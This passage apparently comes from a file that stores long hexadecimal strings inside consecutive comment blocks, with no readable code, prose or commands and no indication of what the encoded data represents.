1e60d82dcf6f11efec3e9e081ef4bfe348bc34a396072eef880f22132d2c63cb2dbc38a8180fdfb9d4de544cd131c54f956f0b2e80bf368cc8a69f59ffeb739524fb1b39597e107a4290877efd90418a4cf60f39e281b2d9cafdab54b73487f999037d82de4fedd1a6c7b33255e6f77c2f6ae06cbe9e2797561ef0d32963b32be7829597d0f15483c37357b06268429ea39aab28281621aea24e3591378d729c3d6553d97e8ca9f728e57d629cd65457c2b9fe10e1e8e9a7d2a2755ff381cb06367e3b92d2af3858266120253195da210e304b8bb6bbd2627483f4b739a7bed2e5ed298c7835eea75e4b371f9d1ad69f2c609a18aa1f973360e8af5439cb8fd788f2da9aa1ca2f8a015ee572b82f98decf9a79019a83add9ff9d59f2623b764f4db6847081866923602f4662b21e24af2921f04c5ed5e144a5822c554f965e4a8e1f3c8950aeae398cd9376858bbf70f0ca2d9befaaf7d38e948a64d9f76ae80024cd2d2b4045c1cfb1817c7467d505770e05c10cd4008d643802d28ad751f276bf5a16178a5aa2ffcb24f35a64274a818ac8bf19d3104adf08f96fb6ac24f6e3616be1e09e6a67ca9cbb4cceb9072ff488da2b93d6a5e5d17f3a5e3f119f140dd8074a0a9368c7ea706899df0e2fc917c4ec7a73035b0d057ad9ea8ca08e5d8109fe25526e1c12d6889b98042941ead0816975485830ca17baec2af0497cb2d1d49ba719365041e58e17b054feadefb875d25c4b3c1f5ce387fb272f3acf74496912400d722ea323a6a3446bc7648b03c5edeb530b4625f98cb9c207630d1792edf8d58b3e7b686d317b9cbd1d03631b36fc274724729f38b66c56394fbc649ec369cd3248d50753b1b1362e6a76a2a6bf0e797b1c121597d4ef9aaabd8485815f8880e92eec66291bf92e9534fdbca3b68edc76a404317ab6e25e60777e10e4b462f2746ebf9855642a017f86cab518ceef0337a61d57231a079105fcc19810f67a4f51f24449a2961c6bd026a4a26576b7e6223c5764348f8c1e4bd42510fc1104190940e3870e5d440a8c2e975134df601a14379c777fe301a227d08253b60c513fb5576870dfb53b37cae8b320a98553936dc814c5a4a39b8a720bac749659244b9545bf454dcae824175f3c06355d41ee64c9d68345f518d5f16d1b71a03a8dd3c9059273c7f679693f26932683d6bba2325a9316787e214cf54074decb72696f7d5f47a37df34d9df1ec4577338ae6fb091757232619142d28b86d49367bbd23869cf0ab3a7116e396ea730b5e97ceb7ab31a8d563cb449af9e75c84a479154181edfddd324cc7d327ea1079dbd*/
/*7ea59d55c090e991d53a513de8b1626f61308bd7e2289d1724ed38bda2a0cdab37374aea9dab7643e6d18dbae284ee8c94052d4cb15baef8ca45c87031b5ee3612c78d965aa5baf22140ee498e99fbf00f7dce5e710f81055af05e0cc9da2824532ababa6b93646b8554c516175b5c36b7a10a55ba62c708ad4efbc4796f9382e1c6f087690d5736bb92b3e23213ff9531263fec4aa2f0061767edb0c69d1dba46a8dae9b609d871c5bc8bc45f552390ffb2093744101175121ffe410466669f267e00301c37ecf3db6573c37ab9de737b23ea9332a605fabffd0c82377131370eac2d436e62811d5592a2189b79817789c5d9b3d3343e81e70f33f809be3f1f0761a55c21eae07b9a19167989e612c5919bb9e0b24a13989954bcbd4ce390076802782179222085f3b124b4a8e005db618b368dd10dc8fbd0ed6bb8e6e7079887e22a0aea0ca87929ddb1e438e79f5ffe6ad0dd4a23d7321de6eb5014e211c4b3adff9ed49b4a6b20f7601feafcfd10f3b6b5d625124d5fea4f14156ce6a2b424c7c06723616d172e377485528d34fbe8b9d9d10ac2cc5c2a714cbeea3b28221fa1a6219c446130eea40de9c53f8875546b16bcae4da7a54eafd3eac02b397e61ec8aec774d92f5958f85eb9bf568fd4d852150974676b90296c2363bef1ea10149ad6a769a524158bd31dc267715b4c8bc7b937680b50c3cc22157a95ce05d9c4e160314f897fe356c7573ed8d823ad2580c8ac404fdc5d148b17e750283598c108043e90a5c9bb8c1c3bbe1d9b6196e37deaf34d3b35ea64f27b9ff4520101a3d3e69fde84188ebc687ac1e4a86f5ef62ab574b612aecdab1544b90ec53876410cf648fd61e67be7ea70b99d18859f1b367bd8f0eed63c813a64cd41a68136a98dabe66d8c5b3baaaa8ea4103eebd0294bd558a4fb0f494d6e0544dc4567237077ddbbc14dd244d295c4b9e334403387ac8b96987fac405389d99f54f181968eb4d10b76b82edbb1cbc9c58ece467f087e6f37d803ca5ef00fdef841d587d2b90748c57e320ba6d3b95c772f7d57639a6267ce5896fa3ea560cca663fa90aeee6915bbe8b98ea2352e6f469071f91b3610bca7b0d30db21fea3416f99cfcb0d09eda6dddf2a31d8afba61e1966581c1af86bb76484242ffb67d70a1a8c71b78d9a11843d402a10565a79d91b5990b4a167d84c6e938ab26d1ba9434b543ccb914f1efd6ec91a525d09a998570b4494cb0b58d6410144e464aa671244986ca99f42999e9d125eda596cac574784078d277870fd145262aa94dcf2a567016c942ff2d0dcff1bd8746fd7f9358a3f0be0fca1848f8ca3da09a11b026c54bc1902f3466dda3f4b92c0d6cdfbb92a25d2c1ebca1175896dce8faa54022609e5b0a2ad360a5d5dbb165adfc1267f2c2f28a5f54aa1eca0a9a1c1588514ad587edcb66fcae0eda812d402078f7320e1c054c99de0c45ab78c92f2f080526909e671a88c1d0bb6181f2b03b57ce4bafcb8905818511465ef15acf65b828180893568e2336e26450cb7753ca99947eee97d88b0b8b0f0c0aa960ebf3c08f7a7b77e35300f4e95aac9a96ccf006719f0e88b7f6f4fb0c40a932f2825512d7af8ab15eb8dde3be6b96d39e338d261d7a46ad0403838854a14ad84fc3d24287e3bd59ed715a983dbecb551e42765a674fadd90e245ed89c3f1acd94b420c94a48ace5b8c3b9e6649c7a80dac8b8a54ecc5fcd442f4a48e5f86cf24172846d36b3313e31a8505fba9074ded62fe1220f77c0bf5f682d8007c221c2b6de7e9233f12ad4ef09e7637fd97ea81b22faefa67db6d2118f53ff3ba50d802b1ced8875797bbcc085303dac3a8651118785100d70480d90b45bd8c0ee9bfb7a0c936fa0f808f81d6c182a3e25bf00802305a4f5b0c2319e33af6504c60ce879c2cabe9a97eeec2f5cc5e1a50955b343f44a771ad1cd06d81815b8d3265edf67c0c6ed8df9db5f8d66a1febe05e7b801cca9f2c81eb0fa02980226f35f77d05f8b2cfef426f7f24133e71bb2811489b78be56706d2c496d3c550d92cbf46f8d360b0754b7314c130305d7050b6db02ac061534be4af8f0e0f9fea6a96d53f6f5d6cb9008f3f2f0f1084bcdc4c17c02d12fddd06b3e7ebe9d70542a46a2daf222f27ce1b0877bbf58eb221ca11473a04b483dad063cdb7b9a1974da3f664f326117718c49f0b15b71c9cfb0fd4b42100e786e377269f6f765d3082a4ae91f0dae0d1c03bb190bd084f5ccc394461fdc9669ea913ba2a8e9d85340b0b9c8111e1b9c31a134ee96c4c08a492ace63d5f6567c5a6dbfada60eed1b43b8e18dc4e3c51500993189451164a987666806312ed1f1249d7e5a78021d701a604e55f7a93388ae93b103f0e07aaa58702af34029bc2fdbe7076bee7a9c02d2f0f01e4d25dfe2767e3a4bd9b8f5dc3f94a59ca79e0d38d12de58e6f91671e42c2905f875876f780a9ccac26f1925bd6165b00c5a94d6454302c2c2790feb1706cb34fb92b461a8390443995c086e9357b121a908775250cb2b64cbaf07335c897df0fed998e07310e9f3affc2bd58cb79f93f04bcd2a53d54f0c4f09b1316d09c63e534602515b2fc64556cc337f52627d905228f2dc427a71ff3213ff8c09175f69a9ccaf381d560893a0a99e984ecc50cdb5333c1e7ed302eec4b5b6f6b437fcb45d7c9a658f808978a11d11fb4e3a81fda054fc3ac24cb29713dfd04c3c8c6109ecc50f4fea1bf6a7f3646a7166c793947ca553d2fcd4b29d77826709557eb83e1fc719a073b0f6bb42e36a1b896fef15bbe1abdcafffbeff2306cc27b*/
/*f1c5d40617c7f45af17a068d52cfd07bac08ac0c7660f3225e9776669e18ef05d4ba8a4d222c24986510d7108e7531d7004eba31a47b91ff7197b78f69c109e08aa24d44ac3d033e348b51c688a0b66727c9da7889219dab73cc15a0296d9a7044d9249f5b060ed8b97ce2d6e74079011310cba52a8e89ae4e84f174345bcad4ce85f7b1cc30037d9a10d03f5cbe553fc22ac2d58c4ad1c709c304a925db1f42916dc9497542df2f2cb1a49ac5cbb072a28232873de07a3a885ba4fa748cee94e1dc6f95a002805d82bd64aa837602bf5f4475f783c37c2a6e281edd4437580983825aa652ea890184150d4acb3d0f97a779eb5235f45ed39668f7dd629dc8103596c8edecb267aeb32e3954bfa88500e1780146f9c9f6583692bef4a7187a988bf4ef9c6beb2355dbdb7f26cf010059c6fbbd84a0b925fd3e493be0def12c4d853c419dc4212576ca54d14010af2114852d73c0aedbb560f73951f8ac5539f7121db6a598f4d37f88501cc459ab6e3af3429ca2229f39be4d899e6debaf3130900e63005c00c1938a67d303e55be2bb0a14fce997d11987bb4190b5d928e06d525d45aae532df0fdf963ac12906d662141e915578aff799927faa08867c6e9ef3c21fcf94a1733670086fe6489ff138e9b7fb294669bd0f759cab2c82574f44cbd0bf1ee803652314f7b782eaf529c8c857d0beb85dffdba90f337e5200dba241325e367de91c77dc1b05ad82875711310b43cd1bc509098694e111f2d3996bf90d9fb953666964ed22a50f4dc832f37d427b06731f150cd140c9e668e1cc8f1905fec1db9bf0c7b2542cdf8a6e27c39d978669df83a6dd8035c55200e50d23a51ddf855e9d16ed00b2424abdc43e845258f06ae42d147b5330c6552a82e6ffb490cc8f040089a4c9df2ae40bbe59f532b051d687be302aa8f6aa4dfd3de08515b0a5c741157188455b74af4503436ecda53fde2a9596de5467ca9e0772e8de7419ff2c96574cccffe2f00147a40292d94744af3c45236f1ab50c048a74bb08e3f19c3c0dd70b375163d53013e2c70fa6c6f81e03e8b1ba81c739428f54cf53e03bcbc70b96c4b845ef13a60a1accffba217662e33ac535715d472495ead8c2ed44a8edc74c48c22a0e090f7bd0246f922f7f76b38b15b6babeb8bea7081b87a7369f7174d53cbdd9224a72fbd1815ebf43ede8b27356966a80144d1e988b0d6e3c89768d68bc5116bf63c2b79aa7219adc5b83c0aaa769da05decdcf2de8034b50b2feaf0577edf9faa529c29f4bd619460032f4b3947eb64f6cc60c4713a4b7affff332153e4310c772c04102c15a15a16aab0f659aa869929db1e935db40d9865ba4c20848aff3698909701bb2b2756e938a6521a2f090ce29503c7c281488406a5144ad3d3d6c4ef7586eba0728da79ac57c6ad77391130e3abd5f44ea1e07d0873b1bed0528becd9cb1f9f710feda4cd25dd28ab35dc5349476cf0038c1700a6c7f78e5739ef6ddf7e84f9152d9e89baeb0e3b604c8a5e3cb9161e8894f3a81f5e5947746c646164a1a7a33491ea5ef8488a352aa42d776a003faf46bc7a0d19c365366dc03a5a00b856532d51e9bbd051e9a5dacca210d5b421ea9d6f3b3d5ff7c2f712061269a0110d1e0a25946b5cd20998ddf21a84f9b0a0a2cdcdeccd274405072a97682c9c127c9d6e61d707e3efee751d3e9e9c89714bdf2d5b186605957e439495ae5f2f0e2d04094c91b002bbbe16294e16b8298d77f1107bad72c4ec8c7c1e4e150899d83e54daa1d7b5fae4bc0ccbadbc10c2520f6eac6e71e7d4472b1d78af37f1fd639d8dba19b811fa0dceadccfdf8852f86da8686d9f58745cac8c3a7d68a8c1d38094f8d38742b18ff2765abb574650b3a41b229f88fd9f38897c8f94e0b0437c256dbd709a362db906da0945ee818ae40df89db3d927b69678930d54183b8aa497f72671f2a0259339b75f801e3c5ed6132bfb179322e2f16f1e63a872f9caf391a905d95d5e827d71ac2371e53a8e35e5341d195d7cf053543285ab0d867906556031e9851e4226b4c48e29ec1d9b3b094fced879ea7cd10da50273b126d91d2f4ed5a99fc6d3952f8391b14c32f9839a32014efaf099a9206f6824abdf402a9b80c02faa244bb3a64ebd4ce9d9bddb6274e6d0e90482c11f6cd1aa721e3681e06fbf170cd847dae6b7667ba05569d530d49dd6181e4771a7b099857677981c12c4552d4da9d5da30c6cf9295772bd90352e82b21b0ac1030304ff7c8ba3c400a5cb50c75aca0382d247716f29b2fa69381dff3fa23f64c8d0119d8d381306697c417a8935fda22b5808001d453238276496862eafdc14f2713eda227b283e3abfbed3ff7b551dea8361309ecffcef42a8e18f3420a11c5fdf3eb1ee2c56d5c6406466fd0a50250b54fd39813828ec5d0c6ba89ebe9d0db5d7770f0bafe91db1dbed5477136487eadb0250a6b2a16166f1b6eed71ecbf26abf79d43ef8dc2ee2a522831303d100926abb29f64ae13cb9a231f32bf2d80cc158f7eb77d5978fd8299b7bf43bb2ac21b11c7d3be689521678db6b12ca9b72980547e87a042c0b03bda150cea4f31749ed5c033a3170114f511b608e9251ee5ac471f11976793db61981df7b82cdc0cf2a79c6cd872ce5817e7f7e115a93c261b31d8b14ed4fda198f9d038ecd2a99c74f7b5042191b6f3fa9e6b590a87ae9cf98afe61dcd4b7b342d2a3bf784337f0ff2a0adae560aed03c08ca51662f8adac8acb6f99a15ab814a039e253e1cddabe7d5ec675a6057c5df2ee8675d7b0c45909532172b302f34f3b9e14fc*/
/*a80d52d323a089610ed19183beeccae8cf66b326b0f55eb74f6e04763a147d147cf8d90ecac4e8d7fd689c41ef011d00f2de881b1fe149a9bdb2d6fc892f0486b61a1f7bd819e23b42fdc1b3399e8411ff3b9770ac7148c504f16a21c0deee7f9a2d430c041b8667b636db532d873b6d0178f2f22b3e3f70e46db4cb592ceb72486a5e41de69ca998478bb0bf03d8a474e9026325f8e06454330edc40bd70ef945956743e4aaebbb869e1756a5dd2b94852c9fe4922994598daf7bc8b9893cacee003313d7e9088fa09344138a8244a0eda448c0e1de5e4585ade0a7f657917f6388cc54f914b895873f9f1a3641013e7cec93bc399b134528f63865c49e9955df180f7b60dde3edd7cae45c8c2eb781c940595ee6ec4d8cf517870f1fb9e97bc613f7e24c963ae399c710c16bb83496ed03568eca56d024f9681ffc36d6b5f37cd1512746185729a7b87260b12f27e6f5b6ed53e71d341eca44208dafff52216cb09df04a5353b2c9324883c9c1dde77669b2d4f6ac927eefeaab0a59868572e946cd5b68710569adbc046fefd4b260b6003890bb6789fb431be1082dffb88c0080762f95adf62468460e9f54bfc00b84139c0ba379ce5fa21b0e1bd21efd9309cbd3ac08704a21a0c9b916d54d6710af203dcb47fda60f00d0d2ac5a00086d28611a87626a0de2fd37e2774be982f27e74e1bb6483f0f49b95295aa22ef76ca7d5f73a0e25a0ffd0628a9d947f7e4539292a739d027d3ffbb7d78e5e3facef74ca083370f1f57fa615505f5b3fb16cd0e0edf614947d30a3e2e092f818f5630698d39e861921c748c83b4167490cf8823c70e1ddfb896e79b945b827ec73bf167159df99ea468eeed7fb66aabdd67318545312e8424e0736344f37853b069cdd49cd694257f07535b32dc7c2f5857cc92284a1b70eea8d36637aa329000cefbfbb9ab29073deb7939534a64c26977cc52373bf318455018e7a315cdf7ec17c7fde3d079bfd47dc162a91cff2132ccaa82724631af35a2399839d3c9c56056bcf0b024da0faaf8ee3bd7345cc5adc7e09e351e91b138121f88e76176a8aeb1d78681596f806428172019d83802f6181b046dba6a7cdb8e628734c241738e9ba3011e7540f5fa0ed2d104ff6655c442e61b18c71bb2ade6798f762176d23bd44c447a06bef1eeca27fcc4bed58b5b829b06afa71cca706803db67ec94d49200a7a3fc73aca835011eb3c96d46d1c22d1039f83f7bb818ee06e6956e3e746c308dea2f03a9b6fe3d7034d6ec80da3620c819538956bb8b504e610d57bba3cbc18befe6bb973a6095e88c0d39bb85cb244dcc362d6f5ff266faf973048d1f16b39817c53aa409d5932ecfb78a1f838c2e2a0e78caef2e165391dde4450a108bc12cc52f2a58a5c416709272394b971c038b6bf3e8d1d05026d9c6309ea73a9b6dc3c20b7504cfcbd13893f52c93c1b445271c9169fb96c601db20533ff3d04b616bdefdb9776432f5266931ad61afdd18127c9954d5363ae8419da4305f8259a0130eed7de0e58d676e90fa1bd7ca59a41d9706cb997ab1647a03f817caae76c44bebf33af44bb0e17560d263383e7925c8699bae9ab5369febb5f22f06bb629a3452ae379b696be7ec4ad862dc194c82457cb2a82ddd5a704279d24d09533a539966b1bfc34d43d85ea4e71eb1df234723edfe569c2b42b22ff4ba7dcef461d8370e968ffce91f26f03fb536fea536ec237f4cf9a9d30498de55f122104397ac07015961c01970f1126ee29f16d81f07228e8231aa1e262714e95a6aa23d952a76674025b591c95a860e1c34dcb7dcbf086703222ac7c51d749875df7bc4ce0491322cb2d1386dd098e10a9a1f067da816a72b9a558113730c747fdc87610adad06aaf383ce5479a495755130a47d435519cb7671c0d22e0f80d89ba71576fb0ddae1e3518f0d9bac3126b2bca8d658e6e2da62ea140920268af3f19e62167160800869fc5e0a2af7bde732b68b046940a2f8eaa9fe0a5a612b0569afe67b78f734af27fb78e42d5d24583cca64aa047d09bfc3d6648389ba097d5c84e2c10df68b188daa487a93e3368d92dd63bb97dc525fe3bae55bef1c3a686d19b052cec7ebbf6d6d78b2f025150b057f240c735856dabf5cce54a5bf6c8b79fa176acae36a4d8b2c09c2cd97e88d13e523f66435dd777564894d704f9766c10b909dd99eb7d844746346786df78e2843a51c2f14383e69e9f533e888441cde2858e29cd17d67390b7a1abb836b27183beefb641f273e5ec04795ead325e9dda76b1c329bdbd6f00aaaebaf94d3a3a01b2be519e01c84d8967b190ac9a733900316ce2035cb2a109fe6da3350ca86d721fb1f254ae2b57ecf3e223fabb59f418e7feb1240e375786c6a83918981840c1df2df8418721e154070118159245ed9fedfffa85e735650c376d2d723bc71352e003268ef6ad5f8b3a17b8ffe57506d4a6614dee79fcb8786755a5c5fa6d9650437ad9d24b8ca5987c27c92bfe6c16761e2c3dc4274b9b4a6a36341c1709d6a411a7a0bd79901b22c6f6a97296e833253b5f55ad34bd7aba258a816051793c36345a4cdce8a70d23f1fea63dec45b479b40cc45c16e996c5f73f899b9ad5ba96e55504f8b8bc2a15e81fdd633688b17ee05cc2eea05fee0c1ea2d8aa94747104495fc4cc3cf07048a53651fe68f428d49276f467251a5c431dc20491bce538d773501d582c24260777cf6f39ce402c2aac01fcfe6c24df18538c0bd40499dbc7dd21b38e94c62b018f809e8b65aeed419dd86a593ffc4575b1ee60aefeae4c84c42d97168*/
/*446960902250e15d43746257f38fd7c6c074f3b5ff0d209da1e9d3575089fd3c8678d2ab0e7f55b27e64ee1be7f2d040495dc95c00e295c21e754ea0d68bd3dc60419a788cfd006a5d1af7cfb860e6aace42accdf503c9f621ca5d9bac61d3ff5044f94bd2340fd1ae61e10f1bc72d0c29b4322b38d7df8dc313cbb8811df34d7e67c86150a41cd728287ebe94936baacf77b24f2d2414a90fde05c16cb99d1422462000920bbf15ab79adcded742fc4e38b2f76d1e5e5375736408c2e0d59c6d8077f030c166f5a1ab267ffbac857bed6a147cee5699c549967bef827f70b1f5978314a67aa9aca03fc9700e3ba31518ced1d361b37da7630416702109fe2056aea471b5348c924fc3712be5078df959b8015682264950cca6d437052f58e5f1db295b5ea7c7f3b33208910ba9387e7180bb2ee1e8ef67d5f2138b9b07a3e5fe06531336ef03e8456b7c914cab42ee568e0f580177efae76b25ae7bbeb2cd607a8d7ac259002a746b560cff9c22407773d62f6120aef08e813ddeb1dd13ceb5480b4133393607b8aedbb719282e370d2e4a81a81773f54bf7bdec039cf5c0af850d76c5c28ac800a004b598fe3e30dfde25b4ea6ad51e20f85cb89bf5cb102e2394a46bfddf713e2e3c696bb88513211e94cf010d100980c810cdccac6c7326da50da979d6f08effb00fad769343f1f95db4dcb09df53828430f82f6609c62f180f8b046bb41f82635323001ba862db3ddd652378c313f0e55683b3cf5ea138d01a945b614b65f914bf2614c479107c4601188f1e51403af1826d5ca545495952ed4c774151775fa24aff66bd7b21097e6c317867d3e31519ab6534f54be263e108377459848be841a06a50e56e786496082ec67a6c110dc883b6a7cb078e558b1b618ba0c63d04039bd5b8a2b6f18dc3fd0be913408706624f848a3ec226e242785903424c372263ecffebd9701cb0d2d34001d6c5ec003a4be7fdaea11b0c6bea14748bb15bca7f56a298d7add2ba317428a9267b74abead189d8bb8c590e0f96b7baeb56dcc7c6654985120b06936e08ac51b9a16e6043f51aa1adccaf57eb1581d712476024368559aefc83abec15d9e0f6256dd4078b078d7a9a187da339416637c1e8759faf7a5a2060cbcf2cec66d73b2a6c361ecf32655c0191a9fb84c1287efd35b940e08c2ab318f11b85b9617a54904ce0e7235215ff7cc148ca0452101ed7d58eb850590d93c8e3a2fa9d489d52316f83beac976c69ce6f0dd1b97019f1f33f684e1cf0fbc2b889a88944704beb74c0249bee55eca83e5b40f8823f7cfdd948ff10caf5d3fec6582355edeb3458b859e5408577515f46e1f43a0917d986ba1240aae0a036a4da995a82687fea0d6720f094f488dd30d2e99767779462fa9426f73207516321a41c6625fe35d8e08711c6cc7f0b0940435fd732a825e818d17f6017dde3bea95dd5e6c7007133490894c87f7f568d278cf51d20c126c38f70e3a39dfeccdadd73aa12d042c735509689e5c198dd2dabfbd8398357aec41686e05bf34e0fd66ef0d1da168cab389b9c0d51f9f3547b6fe8d95fca51ca5ea869328c3609c55c749f31adc2f8a3264aee0f7227d9c702d241e2588eb0f52db0178a1ce803de2490ed45fce2e64d0e96b6fd44ae4cdb086497f6f830fcfd8fe5b63853a58b7f1ebfbedaccd3d0c6fcf6962650c817159c40e61d001263f52e6616ec022f8aae0dbecc94e271509cd0b933467314ffa0cd68022cc5ca0f3cb21a60ec124e412fa1aa44ec39aae63c65a7038c4140e4ace7ba7c3d3f98f6c1c5b124f3a1c839e04534a88a0c24a12673fa00936b0e29d334a4dbe0b85cdd8d637bf06ffd806f841e81a777bdd2d6c7c1d46cfd025611fb744ac42c47d158eddf4cb20912230d1030c20cfbce3e5aa317a3e300e42bc42cad94e62178d363e5a27487bfa58ba9503df28eca916b24fac1c6d6415d69020027a99a544af975f9f45aaf281ea7d325325a7cb87d6cf5da6bc205a1d14323ca007ed9f65f6fe892db5ffe5abf7306c488f0b56721080c578520acbdda66eece23047902cee13efef2bbcac56eae0d35b1a8f8952b4d1ca30dde147efd830c8df83e247cfec089b46a4cb636220c9ad71736857dbf222cf575d8e80dd7899802394a8c92631db864afb97c2c57d99525c2026a978d38e726d1de9747678446324afb1a6e57deb0eac790651fef0bce98a84f93be10b029d83d96abf6149763e1837f9fe91632c8a8badea7499489d47d5ee46bfae06364da86c37d2f5a66c6dd669425db9e832c5f1693db0d9029a08844807488834c3a53289ed60ffbe91b001115a8fe4d013bd3ca5dfd37d2566b5cef625d15f368cda61fc2a26ad3ed18b0fa694da6c73a62d27a08048ea5a02435f8e7350f20eca71a9440fe18b1785cc0a0652e25d411f98b3cd5c12b19e9d258b0f151612db9920c59afb1efbdaf5b89d2481489190e915f6f0a5ba14b75cfa638e4b59d1b48d37c0c6bb55fdc44616bdc23e330d81466669b063dd7002384370118460b9b039c3967900681fc46ea3d20d30c704ced2e853b5b69b697f1ae942385e24c3c23e3b2e5eca86622d6b01555d081a9bb213cfcf94276a43eb2eaf36a2d3ca5cd4718470af257f517cd72af4b3675354b6f32f49d0fb364a60d91175ed35db90b04723a969069a9d02bfb093aba5e59b95b1668cbe85a97f0bcb2d09a2a80872ef9742efcfac6c4c7ff4fc52048ae806853f407766dc8e91c6cbc978070761ad51c8c804b2933db3aac6df5d0048f298dd7d577c927a99074624db2b9e46f22dfdd*/
/*d6cb28315a74ffcb70cd3e090016cb0065095e6e284dc9b8a4de0b495dd76bb7e5414d40729c92781df1aa064c3347f0983a01ee763366703747de1b471848955e5472376b92783a774d8a0415e2c14243d9c75c3c141afc7ca569128a9183ec0e2d4e8239482f97829d6c72c3fa556300eff3f5c684348a87471d746805737ee4e09b2b16d77c4489b62bb266cfae211711a4c755c83e66f9a3be5135ab478781c3254bf633f54f17a050ab641976f83389e18df3af903f0d97e150910fe86d30993e7bc36107248c2a1676da6c85a0b6dec2d53ffd1789ce717ac609cb790ba4c6f1f19af74fa16903856a025fb944df241c336c5e4cb04580f0e26cc99bbd1a247da857e9148c3c8402bf640bb33c843169827100c1ec8ea3a2daa0c22c4285594412a923efa35139b024961c1d297f2e8da75bc68aa8de8fe1840c76b71e42c737d9e79504bcf26cadfee88d2591adbab0ae520c72281cd394c32c5d6b20323533aacc7f24c3f72dab085a61d1cf70a30672f9336eb90ee3b367bec508bd2db015c24c0554c1d01417be1ef6b397a9ed6a677e6b068c59c16b40dc36d6c587061d4ba0379b8acdae483779d160550227dd0b1fd384400db98613cdb2c376764a9924081b305652aa5c0188d2bc918644d2361fd8bc652c51f2a29dc6abb3ecefce9b21a4a930f30c780fd803cd90d38aac8dab9c29c02c1e7d12fec8e419482454a0cf29dd7d8e70686a64147461ba8213adf8697329f5dc636bcc1b0e3cc4c8fe562c267496ce786e140c73f4488833a5fd97c665f3c51fb90b7cde8d560e1b62ed1f6c0802d3c20ce711282a293b4a3f7edc7804fce706ec175df2f140869c1575c1e7b040f27451c9ec8cad904787e6e8b1124d6be676ffcac1d495f0a5874ae1aae5784a929e02a3648f39391b53501716f11002973954e5451282fe21f9b4a90e1705fbd9daef7b30204225244fd5950a41677ea35b9428662324ddb1c72e607827fddd8ed711de4c67a62b0d988ff6eff7a3e8df8866d11520d122b0f013a209debcb5dc087108c73bdac84eb4f6714c3b860a1238000f9f5cbb56e13b85a9b3854924ed43faef36c479bb505030b8e9f2d03a622469f3e048fda3aa8501b2ea590b582b5ae6ac53704c746f0d3305b4a79d3060b85374fc42f7bfe38c8fcbbeeaff797fd4ee278a1a3bb7c30331aaa17f8295977d0f6ed7a2f07d80e24df2cd49a3f9e9499098ed84e9b03f7fdd3b7ef164b439447d07c3e29e8d8d026e3f74e7e79ab5e9ea6a7d3ad53f45f02761d8c12a6842a870e15f56edd38e29470db6e7c62948a89a1ea6f0c7570eea0383c127bcdef41373f4978b2889e84596f46d646b286e1df0cfa31fc9047402decd4bbddd8b69175c9364c0d11f6eaec62f8ba6e79a3abdf11ed0eec6bdd02f6cced7df213ad582a0e41fe5ac8aa939d53232df9e6b924d8ce7cacf5d55a3f03cd6feee9eaa0695fea7b03c8b5a42fd5a01171d507de7628304767ff2935b2e02ab02d48c87020a34790e7e77d9a04bcfea8fbf3424e61eebdea4c6f374e35c6bff1b882f95b6236ff634cd7cde5b788adbc77d96a44a03fecbdd21632d0db21b4af6e0095810b0b1e090348f453a007326a7a0f39ccea6c108a604069a2abc1321b1520a41cd56d842420c6ea8dc55d74039a35d8f6ee0509ec4f7e46d4f214191de45e13671d15a2be6379a98ff61b3133f1e500f8dce8692b464175822040d6de963e1d8f4df6be6a1c5631c4339469361f30c825191d9a005293889bea09b91d0a220d625776afaa7a7898c0b7bf37f78326e2017ac550c1c9622506c01b60a57702be295312e5edca8b76ca630fc99b0694c48785e137874e7ba7a7be905f2d232beb9c2c66887b318669b5222e9d59a6aebfd134e087327d90b98c6a30aaac1aa8b846fc6a7cb7f4615b386efa304e52f0b91bcc55e554935051266dee4b8643de1abfbdbbecc4b5e14e33969a8562becae9ebeaec7f413b52b3962e59b39fc8fff098a501a1b30993447bc0d853a3de4a0ef3113130504358ce3ac7b189c2235bade9c3c16e82edc4a2fb50700b0a286743ee4081a1b79ac872c7799fddefffd59f051c3a8471f7484dd8849fb3fa5dfc01702a1058b02e96e5bfc20b0c030caf6b0c4421034b0547b5c4c8e3453bf483a49a47daf8fe3959a1030739543e78c19f3b302f3c64e039a5983712fc6df92fdf8b52edbe24efbac7b13f840e3ff67b9b9dfc53d96f3950e1699dd7612ed788c8b5d8af983cbf71f7fc43eca651d14ab4c017946c8f2cc9f565e05b7a34b5868db6cfa4acb7be977bf1ecadfc8240906f3aea1d87114eda10391ed66197bc76ee01e70e31d1394c31c10d5fc6bbbd7985e7899dd4971b9384f5b51d6f755c6b0ac3ee8e8b13035dd08ce34cad2981434b1e610638c3792497cd42de050cb0a43ff8d3d5e577b1bb5b9ba850f4b3a34dbbc4cafbc062dbe33751df2b3cf21a94529b182285e5248164f4a84d6d2f30a8c85ec9843526e19fce9147d3b794cebb3621d50eaabff747edb2187ab4a5a7ea81a9f782071e15905b7f742f846eff9d7ce44b2df73cd8840e7dc694f9d544843b25076976bfc84b921fff9e52d667d985d4596d500aedca4f59407236f5d5709f17d105f49320db15925c5759574195a9581a30c5a4680706dfb8da47bf53911dc2a1a8fb5d1447cd955b0738f2c77f14ba25ec1494e9cfa786090cb7dc5ce89198b84e7db38e361957465db38fc972e51bd9149e86458c931a27284f318fa0871762d7d5554ee7ba2923df4dac0539e79aa33ed6d0b9db6d9*/
/*7e4c846b1277166c54019dc5012c18224bb8cd5f5cf054fad861f6bb316044ac16e19ddec2a7d14d9ad0e345a18d56b8f5bb6f1f3fd01638c26cdd78209f682999864d34d2a041eb6ee2cce8480c1185a721fe3d58d145ff4ed642770ecc5be2c845e5d2c0b210b1d0ea93a5a5bc714416ea31c6b1ea19aa2ab7e646a85773e66244fbee972bc950052b040a5b681aec85e418c2a56f3cf9ced46a25bb7d1df60cd11c76bbe3be23ad47aa6165775630f51abcbf81f0241ed83684cb1394f45753958e6303c1821bb89d0119ad8b14fb5cd91a76eb8050969f56e7a222839c41d233235c8d80175731684efff67b344428ec8a831a24daf45eefcc654dd3754672c13994a9996eeb4d95a4a75372c912b90f5897b916f046a9318c76a7b2c1aa00d53a2d8edfdeaafb28c26932154701bc46f95752138e72f83a3371e3ebe3843bc3e53782a67ede7ff236c4655340d74db99c079492b4e3f8d4947518d6a48498e21a498c64bd3e66d5b415b506610843bac526a69794bf3949cd7ed1d3c234202751d8d8139e5c48cc2f8ba9caee9f423b31c6247a69a696b099e99bce505bb469be877199f713cd21071cc6cca17eb51c2435fa4fff7114634aa254003e7871b2df41c7ac26722a7803099e9af21ee3ec22f9d49177cb447918775b79446e9a0733005203dc6720230ed4b89495dd22675aae44c12e8c1f18ca2537e4177797ff4611ef52f13e3049cefb94914e71e34cad4b6950c8f472a7c295a8125d5c9307728fae8f49bed976e439300b70b5ff4f9ea828c340c765e89ab25b980f68910380c85b5a979539554fa1cfdfb9ce2c57f064e4aaade73233f66a67e9382aa1628ec2d579df0b4607c201dcba569fa96804c